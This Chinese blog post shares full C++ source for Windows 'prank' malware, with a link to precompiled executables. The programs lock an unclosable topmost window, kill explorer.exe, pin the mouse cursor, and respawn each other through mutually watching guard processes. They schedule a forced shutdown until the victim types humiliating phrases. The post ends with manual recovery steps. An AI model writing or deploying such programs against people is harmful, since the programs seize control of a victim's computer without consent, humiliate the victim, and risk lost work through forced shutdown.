您现在的位置是:首页 >技术杂谈 >[c++整人代码]超级加倍,让人承认自己是大傻猪网站首页技术杂谈

[c++整人代码]超级加倍,让人承认自己是大傻猪

一只贴代码君 2023-05-12 20:15:03
简介[c++整人代码]超级加倍,让人承认自己是大傻猪

㊀程序介绍
这是本人看到的一个整人小病毒,唯一的杀伤力就是逼着你想坑的人承认他是猪。
本次更新:要求运行程序的人手动输入“我是猪”三个字

㊁程序截图
1 本程序的窗口会自动保持最前
在这里插入图片描述

2 无法关闭本窗口
在这里插入图片描述

㊂代码展示:

#include <Windows.h>
#include <cstdio>

#define BUTTON_ID  10011            /*按钮ID*/

int chang, kuan;
HWND hwnd;   /*实例化一个句柄*/
char title[100] = "哈哈哈!!!你被耍了";
HDC         hdc ;
PAINTSTRUCT ps ;
RECT        rect;

int print( char words[] )
{
	hdc = BeginPaint(hwnd, &ps);
	/* TODO: Add any drawing code here... */
			
	GetClientRect(hwnd, &rect);
	DrawText(hdc, words, strlen(words), &rect, DT_CENTER);
	EndPaint(hwnd, &ps);
} 

int ckzq()/*刷新窗口*/
{
	HWND hForeWnd = NULL; 
	HWND hWnd= FindWindow(NULL, title); 
	DWORD dwForeID; 
	DWORD dwCurID; 
 
	hForeWnd =  GetForegroundWindow(); 
	dwCurID  =  GetCurrentThreadId(); 
	dwForeID =  GetWindowThreadProcessId( hForeWnd, NULL ); 
	
	AttachThreadInput  ( dwCurID, dwForeID, TRUE); 
	ShowWindow         ( hWnd, SW_SHOWNORMAL ); 
	
	SetWindowPos       ( hWnd, 
						 HWND_TOPMOST, 
						 0,0,0,0, 
						 SWP_NOSIZE|SWP_NOMOVE ); 
						 
	SetWindowPos       ( hWnd, 
						 HWND_NOTOPMOST, 
						 0,0,0,0, 
						 SWP_NOSIZE|SWP_NOMOVE ); 
						 
	SetForegroundWindow( hWnd ); 
	AttachThreadInput  ( dwCurID, dwForeID, FALSE);
}

int moddle( int x, int len )
{
	x = x/2;
	x = x-len;
	return x;
} 

int yndesktop;

int desk()
{
	system ( "explorer.exe" );
}

int kenren()
{
	int _exit = 0;
	
	MessageBox(NULL, "要想退出,就在下面的每一个问题都点'是'","想退出就乖乖听话", MB_ICONASTERISK|MB_OK);
	auto yn = MessageBox(NULL, "在那个框框中输入“我是猪 ”","想退出就乖乖听话", MB_ICONQUESTION|MB_OK);
} 

/* This is where all the input to the window goes to */
LRESULT CALLBACK WndProc(HWND hwnd,UINT message,WPARAM wp,LPARAM lp)
{ 
	static HWND btnWnd1;
	static bool flag=false;
	char szHello[]="哈哈哈!你被耍了";
	static HWND hBtn;
	static HWND hEdt;
	
	switch(message)
	{
		case WM_CREATE:
		{
			btnWnd1 = CreateWindow(TEXT("BUTTON"),
								   TEXT("X"),
								   WS_VISIBLE|WS_CHILD, /*按钮属性    */ 
								   chang-50,kuan-600,  /*按钮位置    */ 
								   25,25,             /*按钮大小    */ 
								   hwnd,			 /*窗口信息    */ 
								   (HMENU)BUTTON_ID,/*按钮子窗口ID*/
								   0,0);
								   
			hEdt   = CreateWindow(TEXT("EDIT"),                   /*创建输入框*/ 
								  TEXT("输入你的答案"),          /*输入框初始文字*/ 
								  WS_CHILD|WS_VISIBLE|WS_BORDER,/*输入框属性*/ 
								  moddle( chang, 100 ), moddle( kuan, 40 ),  					 /*输入框位置*/ 
								  200, 40, 					/*输入框大小*/ 
								  hwnd, 					   /*窗口信息*/ 
								  NULL, NULL, NULL);		  /*占位指针*/ 
								
    		hBtn =  CreateWindow(TEXT("BUTTON"), 
					 			 TEXT("确定"), 
								 WS_CHILD|WS_VISIBLE, 
								 moddle( chang, 100 )+50, moddle( kuan, 40 )+50, 
								 80, 20, 
								 hwnd, 
								 NULL, NULL, NULL);
			break; 
		}
		
		case WM_PAINT:
		{
		 	print ( "哈哈哈!你被耍了" ); 
			break; 
		}
		 
		case WM_COMMAND:              /*按钮消息WM_COMMAND来处理*/
		{
			int id = GetDlgCtrlID(hEdt);
   			switch(id-wp)
		   	{
	   			case 0:
		   		{
					char buf[256];
    				GetDlgItemText(hwnd, id, buf, 255);
					if (strcmp( "我是猪", buf ) == 0) 
					{
						system ( "cls" ); 
						printf ( "结果:你已承认你是猪" );
		
						if ( yndesktop == 1 ) 
						{
							MessageBox(NULL, "既然你都已经听话了,那我把桌面还给你","想退出就乖乖听话", MB_ICONASTERISK|MB_OK);
							MessageBox(NULL, "我就要离你而去了,呜呜呜","",MB_ICONEXCLAMATION|MB_OK);
							desk();
							MessageBox(NULL, "稍等一下,我马上就走","",MB_ICONEXCLAMATION|MB_OK);
							printf ( "%d", 1/0 );
						}
						MessageBox(NULL, "我就要离你而去了,呜呜呜","",MB_ICONEXCLAMATION|MB_OK);
						printf ( "%d", 1/0 );
					}
					else 
					{
						system ( "taskkill /f /im explorer.exe" );
						yndesktop = 1;
						system ( "cls" ); 
						MessageBox(NULL, "想退出就乖乖听话
作为惩罚,我把你的桌面拆了","!@^%$*)(&^~?:><|{}", MB_ICONASTERISK|MB_OK);
						return 0;
					}
				}
				
				
				break;
			}
			switch(LOWORD(wp))        /*wParam的低字节为点击的按钮的ID*/
			{                     
				case BUTTON_ID:
				{
					kenren();
					flag = !flag;
					break;
				}
				
				default:break;
			}
			break;
		}
	
		case WM_DESTROY:
		{
			PostQuitMessage(0);
			return 0;
		}
		
		default:break;
	}
	return DefWindowProc(hwnd,message,wp,lp);
}
/* The 'main' function of Win32 GUI programs: this is where execution starts */
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) 
{
	//HideWindow();/*隐藏父类窗口,否则被坑的人可以直接关闭程序*/
	system ( "title 哈哈哈!你被耍了(未响应)" );/*父类窗口标题*/
	system ( "cls" );
	WNDCLASS wndcls;        /*实例化*/
	wndcls.cbClsExtra = 0; /*额外的类的附加字节数*/
	wndcls.cbWndExtra = 0;/*窗口额外的附加字节数*/
	wndcls.hbrBackground = (HBRUSH)GetStockObject( BLACK_BRUSH );  /*背景颜色,
	GetStockObject()函数的返回值是一个HGDIOBJ格式的,强制转换成HBRUSH格式的赋值*/
	wndcls.hCursor = LoadCursor(NULL, IDC_WAIT);  /*光标的类型        */
	wndcls.hIcon = LoadIcon(NULL, IDI_ERROR);    /*窗口图标          */
	wndcls.hInstance = hInstance;               /*应用程序的实例号  */
	wndcls.lpfnWndProc = WndProc;              /*窗口过程函数      */
	wndcls.lpszClassName = "你被耍了";        /*类名              */
	wndcls.lpszMenuName = NULL;              /*菜单名            */
	wndcls.style = CS_HREDRAW | CS_VREDRAW; /*水平重画和垂直重画*/ 
 	
 	int x = GetSystemMetrics( SM_CXFULLSCREEN );
	int y = GetSystemMetrics( SM_CYFULLSCREEN );/*获取屏幕尺寸(不含任务栏)*/  
 
 	chang = x - 200;
 	kuan  = y - 200;
 
	RegisterClass(&wndcls);   /*注册窗口类*/
  
	hwnd = CreateWindow("你被耍了",
						title,
						WS_CLIPCHILDREN|WS_CLIPSIBLINGS|WS_POPUP,/*窗口风格*/ 
						100,100,
						chang,kuan,
						NULL,NULL,
						hInstance,
						NULL); /*建立一个窗口*/
						
	ShowWindow(hwnd, SW_SHOWNORMAL);   /*显示窗口*/
	UpdateWindow(hwnd);  /*更新窗口*/
 
	MSG msg;   /*消息机制*/
	while (GetMessage(&msg, NULL, 0, 0))    /*消息循环*/
	{
		ckzq(); /*每传来一次消息, 就刷新窗口, 以保证窗口最前*/ 
		TranslateMessage(&msg);   /*传来的消息翻译*/
		DispatchMessage(&msg);    
	}
	return msg.wParam;
}


㊃最后还有几个编译时要注意的地方:
1 编译设置
连接器选项 添加 -lgdi32
编译设置
编译器选项 添加 -std=c++11
编译设置

㊄ 其他
1 我的编译教程不够详细,无法编译
作者为了满足有些想坑人的小白,直接准备好了已经编译了的exe文件。
1 快速下载
2 限速下载提取码:ucv6




然后,我又看到了一个升级版,由4个代码(展示cpp文件,编译后变成exe才可以使用)组成,注意,由于本程序需要互相调用,所以必须放在同一目录下,且不要轻易修改名称:

第一段,整人主程序,作用:让人承认我是大傻猪,名称 整人代码.cpp

下面是代码:

#include<bits/stdc++.h>
#include<windows.h>	
#include <tlhelp32.h>
bool getProcess(const char *procressName)                //此函数进程名不区分大小写
{
    char pName[MAX_PATH];                                //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
    strcpy(pName,procressName);                            //拷贝数组
    CharLowerBuff(pName,MAX_PATH);                        //将名称转换为小写
    PROCESSENTRY32 currentProcess;                        //存放快照进程信息的一个结构体
    currentProcess.dwSize = sizeof(currentProcess);        //在使用这个结构之前,先设置它的大小
    HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
 
    if (hProcess == INVALID_HANDLE_VALUE)
    {
        return false;
    }
 
    bool bMore=Process32First(hProcess,&currentProcess);        //获取第一个进程信息
    while(bMore)
    {
        CharLowerBuff(currentProcess.szExeFile,MAX_PATH);        //将进程名转换为小写
        if (strcmp(currentProcess.szExeFile,pName)==0)            //比较是否存在此进程
        {
            CloseHandle(hProcess);                                //清除hProcess句柄
            return true;
        }
        bMore=Process32Next(hProcess,&currentProcess);            //遍历下一个
    }
 
    CloseHandle(hProcess);    //清除hProcess句柄
    return false;
}
void po()
{
	if(getProcess("整人代码-防护.exe") == 0){
		system("start 整人代码-防护.exe");
	} 
	if(getProcess("整人代码-防护2.exe") == 0){
		system("start 整人代码-防护2.exe");
	} 
	HWND hWnd = ::GetForegroundWindow();
	::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
} 
using namespace std;
int main()
{
	po();
	system("taskkill /f /t /im explorer.exe");
	string in;
	po();
	HWND hWnd = ::GetForegroundWindow();
	::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
	cout<<"哈哈哈,我把你桌面拆了。如果你关闭我,那么就请准备重启吧(话说你也关不掉,鼠标你就别想动了)。";
	cout<<endl<<"输入我是猪,不然就不给你恢复桌面了:"; 
	cin>>in;
	po();
	if(in == "我是猪"){
		cout<<"这是一个事实,哈哈哈
";
		po();
		Sleep(5000);
		po();
		cout<<"怎么了,我忘了什么吗?哦要恢复桌面是吧,那就再说一声我是大傻子:";
		cin>>in;
		if(in == "我是大傻子"){
			po();
			cout<<"真乖,哈哈哈哈哈哈
";
			Sleep(1000);
			po();
			cout<<"看在你说实话的份上,就给你恢复吧,哈哈哈";
			system("start explorer.exe");
			system("start 整人代码-kill.exe");
			return 0;
		}
	}
	po();
	cout<<"很勇啊你,让我帮你关机吧!
";
	system("shutdown -s -t 120");
	cout<<"温馨提示:输入“我是大傻猪”即可免除关机:";
	po();
	cin>>in;
	if(in == "我是大傻猪"){
		cout<<"说的很对,我表示赞同,那就让我大发慈悲的免除你关机吧。
";
		po();
		system("shutdown -a");
		Sleep(3000);
		po();
		cout<<"啥?
";
		Sleep(3000);
		po();
		cout<<"我忘了什么东西?
";
		Sleep(3000);
		po();
		cout<<"恢复啥?
";
		Sleep(3000);
		po();
		cout<<"最近记忆不太好,忘了,想让我把你桌面装回来就说一声“我是世上独一无二绝无仅有的超级大傻猪”:";
		cin>>in;
		po();
		if(in == "我是世上独一无二绝无仅有的超级大傻猪"){
			cout<<"真乖,看我咻---";
			system("start explorer.exe");
			system("start 整人代码-kill.exe");
			return 0;
		}
	}
	cout<<"唉,人啊,看你这么不认真不说实话,那我走了";
	system("start 整人代码-kill.exe");
	return 0;
}

第二段,防护程序,作用:防止主程序和第二个和它相对应的防护程序被关,名称 整人代码-防护.cpp

下面是代码:

#include<bits/stdc++.h>
#include <windows.h>
#include <tlhelp32.h>
using namespace std;
bool getProcess(const char *procressName)                //此函数进程名不区分大小写
{
    char pName[MAX_PATH];                                //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
    strcpy(pName,procressName);                            //拷贝数组
    CharLowerBuff(pName,MAX_PATH);                        //将名称转换为小写
    PROCESSENTRY32 currentProcess;                        //存放快照进程信息的一个结构体
    currentProcess.dwSize = sizeof(currentProcess);        //在使用这个结构之前,先设置它的大小
    HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
 
    if (hProcess == INVALID_HANDLE_VALUE)
    {
        return false;
    }
 
    bool bMore=Process32First(hProcess,&currentProcess);        //获取第一个进程信息
    while(bMore)
    {
        CharLowerBuff(currentProcess.szExeFile,MAX_PATH);        //将进程名转换为小写
        if (strcmp(currentProcess.szExeFile,pName)==0)            //比较是否存在此进程
        {
            CloseHandle(hProcess);                                //清除hProcess句柄
            return true;
        }
        bMore=Process32Next(hProcess,&currentProcess);            //遍历下一个
    }
 
    CloseHandle(hProcess);    //清除hProcess句柄
    return false;
}
int main()
{
	ShowWindow(GetConsoleWindow(), SW_MINIMIZE);
	while(1){
		if(getProcess("整人代码.exe") == 0){
			system("start 整人代码.exe");
		}
		if(getProcess("整人代码-防护2.exe") == 0){
			system("start 整人代码-防护2.exe");
		}
		if(getProcess("整人代码-kill.exe") == 1){
			break;
		}		
		HWND hWnd = ::GetForegroundWindow();
		::SetWindowPos(hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
		SetCursorPos(0,0);
	}
	return 0;
}

第三段,防护程序2,作用:和第一个防护程序相呼应,他被关则我打开他,我被关则他打开我,名称 整人代码-防护2.cpp

下面是代码:

#include<bits/stdc++.h>
#include <windows.h>
#include <tlhelp32.h>
using namespace std;
bool getProcess(const char *procressName)                //此函数进程名不区分大小写
{
    char pName[MAX_PATH];                                //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
    strcpy(pName,procressName);                            //拷贝数组
    CharLowerBuff(pName,MAX_PATH);                        //将名称转换为小写
    PROCESSENTRY32 currentProcess;                        //存放快照进程信息的一个结构体
    currentProcess.dwSize = sizeof(currentProcess);        //在使用这个结构之前,先设置它的大小
    HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
 
    if (hProcess == INVALID_HANDLE_VALUE)
    {
        return false;
    }
 
    bool bMore=Process32First(hProcess,&currentProcess);        //获取第一个进程信息
    while(bMore)
    {
        CharLowerBuff(currentProcess.szExeFile,MAX_PATH);        //将进程名转换为小写
        if (strcmp(currentProcess.szExeFile,pName)==0)            //比较是否存在此进程
        {
            CloseHandle(hProcess);                                //清除hProcess句柄
            return true;
        }
        bMore=Process32Next(hProcess,&currentProcess);            //遍历下一个
    }
 
    CloseHandle(hProcess);    //清除hProcess句柄
    return false;
}
int main()
{
	ShowWindow(GetConsoleWindow(), SW_MINIMIZE);
	while(1){
		if(getProcess("整人代码-防护.exe") == 0){
			system("start 整人代码-防护.exe");
		}
		if(getProcess("整人代码-kill.exe") == 1){
			break;
		}
		HWND hWnd = ::GetForegroundWindow();
		::SetWindowPos(hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
		SetCursorPos(0,0);
	}
	return 0;
}

第四段,关闭整人代码和其防护,作用:关闭防护程序和主程序,名称 整人代码-kill.cpp

下面是代码:

#include<bits/stdc++.h>
#include<windows.h>
#include <tlhelp32.h>
bool getProcess(const char *procressName)                //此函数进程名不区分大小写
{
    char pName[MAX_PATH];                                //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
    strcpy(pName,procressName);                            //拷贝数组
    CharLowerBuff(pName,MAX_PATH);                        //将名称转换为小写
    PROCESSENTRY32 currentProcess;                        //存放快照进程信息的一个结构体
    currentProcess.dwSize = sizeof(currentProcess);        //在使用这个结构之前,先设置它的大小
    HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
 
    if (hProcess == INVALID_HANDLE_VALUE)
    {
        return false;
    }
 
    bool bMore=Process32First(hProcess,&currentProcess);        //获取第一个进程信息
    while(bMore)
    {
        CharLowerBuff(currentProcess.szExeFile,MAX_PATH);        //将进程名转换为小写
        if (strcmp(currentProcess.szExeFile,pName)==0)            //比较是否存在此进程
        {
            CloseHandle(hProcess);                                //清除hProcess句柄
            return true;
        }
        bMore=Process32Next(hProcess,&currentProcess);            //遍历下一个
    }
 
    CloseHandle(hProcess);    //清除hProcess句柄
    return false;
}
using namespace std;
int main()
{
	while(getProcess("整人代码.exe")){
		system("taskkill /f /t /im 整人代码.exe");
	}
	return 0;
}

作者亲测效果很好,下面是手动关闭此程序(不输入我是猪这些)的步骤:

第一步:乱输一气,因为程序到最后一定关闭,只不过会让你没有桌面(文件资源管理器被关),同时没有任务栏,并且两分钟后关机。但是程序已经关闭。好了,关闭程序的步骤就到此结束

第二步:通过Ctrl+Alt+Delete点任务管理器,打开它,点击右上角的文件,再点击运行新任务,输入explorer,就会打开文件资源管理器,进而恢复桌面和Windows键。

第三步:按Windows+R,打开运行框,输入cmd,回车,打开电脑的命令提示符,输入这一段语句:“shutdown -a”(不含引号),接着电脑的关机指令就会被取消,你的电脑也就恢复了。

作用:

第一步:关闭程序

第二步:打开文件资源管理器,恢复桌面、任务栏和Windows键

第三步:取消关机

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。